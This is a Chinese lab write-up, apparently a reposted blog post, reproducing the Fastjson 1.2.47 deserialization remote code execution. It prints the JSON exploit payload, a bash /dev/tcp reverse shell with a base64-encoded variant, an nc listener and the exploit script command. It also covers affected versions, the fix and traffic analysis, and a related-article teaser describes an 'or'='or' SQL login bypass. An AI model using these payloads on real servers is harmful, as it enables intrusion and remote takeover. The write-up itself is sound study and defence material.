Fastjson远程代码执行漏洞复现

摘要:
它还可以用于将JSON字符串转换为等效的Java对象。Fastjson暴露了多个反序列化的远程命令执行漏洞,攻击者可以通过这些漏洞远程执行恶意代码来入侵服务器。
fastjson漏洞简介

Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

fastjson漏洞原理

先来分析fastjson 1.2.47的POC

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi://x.x.x.x:8080/Exphub", 
        "autoCommit": true
    }
}

对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。
loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制
该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用
若要进行远程命令执行则需现构造一个恶意的rmi或者ldap,在其中设定要执行的命令,之后利用fastjson反序列化漏洞去使用我们构造的rmi/ldap,最终在fastjson服务器中执行我们在rmi/ldap中指定的命令,故该远程命令执行无法回显,但是仍然可以进行反弹shell(Linux)
除了rmi/ldap构造恶意类,还需要另其一个http服务提供具体的恶意类+要执行的命令,整体流程如下:

Fastjson远程代码执行漏洞复现第1张

详情查看secquan-Fastjson 1.2.24-1.2.47全漏洞RCE

Fastjson漏洞环境搭建
  • 主机A含有Fastjson漏洞环境 IP地址192.168.2.101
  • 主机B含有恶意java类 IP地址192.168.2.102
  • 主机C含有RMI服务 IP地址192.168.2.102
  • 接收反弹shell-kali-linux IP地址192.168.2.103

主机A搭建含有fastjson1.2.47-rce漏洞环境

Fastjson远程代码执行漏洞复现第2张

Fastjson漏洞环境复现

工具下载

fastjson_tool.jar
fastjson-1.2.47_rce.py

反弹shell

  • kali-linux执行nc监听6666端口
nc -lvp 6666

Fastjson远程代码执行漏洞复现第3张

  • 主机B开启RMI服务,加载远程恶意java类
bash -i >& /dev/tcp/192.168.2.103/6666 0>&1 //转成bash能执行的格式如下,
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.2.102 9998 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

Fastjson远程代码执行漏洞复现第4张

  • 发送利用fastjson反序列化漏洞使靶机执行RMI服务的恶意java类执行远程命令
python3 fastjson-1.2.47_rce.py http://192.168.2.101:8090 rmi://192.168.2.102:9998/Object

Fastjson远程代码执行漏洞复现第5张

  • 反弹shell成功

Fastjson远程代码执行漏洞复现第6张

fastjson漏洞攻击流量分析
  • 先从HTTP请求入手,可以看到HTTP发送POC服务器返回状态码400,其中有构造的开启RMI服务的IP地址192.168.2.102

Fastjson远程代码执行漏洞复现第7张

  • 流量可以看到远程调用成功执行Object.class恶意类

Fastjson远程代码执行漏洞复现第8张

  • 执行命令服务器返回的信息

Fastjson远程代码执行漏洞复现第9张

fastjson漏洞影响版本
  • fastjson-1.2.24_rce.py Fastjson <=1.2.24 反序列化远程命令执行漏洞
  • fastjson-1.2.41_rce.py Fastjson <=1.2.41 反序列化远程命令执行漏洞
  • fastjson-1.2.42_rce.py Fastjson <=1.2.42 反序列化远程命令执行漏洞
  • fastjson-1.2.43_rce.py Fastjson <=1.2.43 反序列化远程命令执行漏洞
  • fastjson-1.2.45_rce.py Fastjson <=1.2.45 反序列化远程命令执行漏洞
  • fastjson-1.2.47_rce.py Fastjson <=1.2.47 反序列化远程命令执行漏洞
  • fastjson-1.2.62_rce.py Fastjson <=1.2.62 反序列化远程命令执行漏洞
  • fastjson-1.2.66_rce.py Fastjson <=1.2.66 反序列化远程命令执行漏洞
fastjson漏洞修复措施

升级到 1.2.51 以上,并推荐关闭Autotype 详细升级方法可参见漏洞修复措施

fastjson漏洞参考链接

cnblogs-关于FASTJSON 1.2.24 反序列化导致任意命令执行漏洞
阿里fastjson漏洞公告
Fastjson 1.2.24-1.2.47全漏洞RCE

声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合!

免责声明:文章转载自《Fastjson远程代码执行漏洞复现》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇如何才能学到Qt的精髓——信号槽之间的无关性,提供了绝佳的对象间通讯方式,QT的GUI全是自己的一套,并且完全开源,提供了一个绝好机会窥视gui具体实现centos7.9中安装dnf;bash: dnf: command not found...下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

'or'='or'经典漏洞原理分析

  'or'='or'漏洞是一个比较老的漏洞了,主要是出现在后台登录上,利用这个漏洞,我们可以不用输入密码就直接进入系统的后台。它出现的原因是在编程时逻辑上考虑不周,同时对单引号没有进行过滤,从而导致了漏洞的出现。先给大家简单介绍下漏洞的原理吧,只要大家搞懂了原理,就可以自己去找这样漏洞的系统了。 1:语句:''or'='or'    a'or'1=1...

spark内存管理详解

Spark 作为一个基于内存的分布式计算引擎,其内存管理模块在整个系统中扮演着非常重要的角色。理解 Spark 内存管理的基本原理,有助于更好地开发 Spark 应用程序和进行性能调优。本文旨在梳理出 Spark 内存管理的脉络,抛砖引玉,引出读者对这个话题的深入探讨。本文中阐述的原理基于 Spark 2.1 版本,阅读本文需要读者有一定的 Spark 和...

Java提高篇——对象克隆(复制)

阅读目录 为什么要克隆?如何实现克隆浅克隆和深克隆解决多层克隆问题总结 假如说你想复制一个简单变量。很简单: int apples = 5; int pears = apples; 不仅仅是int类型,其它七种原始数据类型(boolean,char,byte,short,float,double.long)同样适用于该类情况。 但是如果你...

应用程序框架实战三十四:数据传输对象(DTO)介绍及各类型实体比较

本文将介绍DDD分层架构中广泛使用的数据传输对象Dto,并且与领域实体Entity,查询实体QueryObject,视图实体ViewModel等几种实体进行比较。 领域实体为何不能一统江湖? 当你阅读我或其它博主提供的示例代码时,会发现几种类型的实体,这几种实体初步看上去区别不大,只是名称不同,特别在这些示例非常简单的情况下更是如此。你可能会疑惑为何要搞得...

Redis入门 – Jedis存储Java对象

Redis入门 – Jedis存储Java对象 - (Java序列化为byte数组方式)   原文地址:http://alanland.iteye.com/admin/blogs/1600685(欢迎转载 - 转载请保留该原文链接)   07/19/12 03:08:05 PM   在Jedis开发中,我们很多时候希望直接把一个对象放到Redis中,然后在...

java对象序列化、gzip压缩解压缩、加密解密

有时在应用中需要将java对象序列化存储起来,有的需要压缩,有的需要加密 EncryptUtil.java Java代码 packageorg.test.demo; importjava.io.UnsupportedEncodingException; importjava.security.InvalidKeyException; importj...